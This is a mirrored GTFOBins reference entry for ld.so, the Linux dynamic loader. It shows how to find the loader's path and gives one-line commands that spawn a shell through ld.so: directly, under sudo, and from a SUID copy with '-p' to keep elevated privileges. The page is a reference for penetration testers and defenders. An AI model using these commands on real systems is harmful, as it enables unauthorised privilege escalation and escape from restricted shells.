mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
17 lines
415 B
Markdown
17 lines
415 B
Markdown
---
|
|
description: |
|
|
`ld.so` is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with:
|
|
|
|
```
|
|
$ strings /proc/self/exe | head -1
|
|
/lib64/ld-linux-x86-64.so.2
|
|
```
|
|
functions:
|
|
execute-interactive:
|
|
- code: /lib/ld.so /bin/sh
|
|
sudo-enabled:
|
|
- code: sudo /lib/ld.so /bin/sh
|
|
suid-enabled:
|
|
- code: ./ld.so /bin/sh -p
|
|
---
|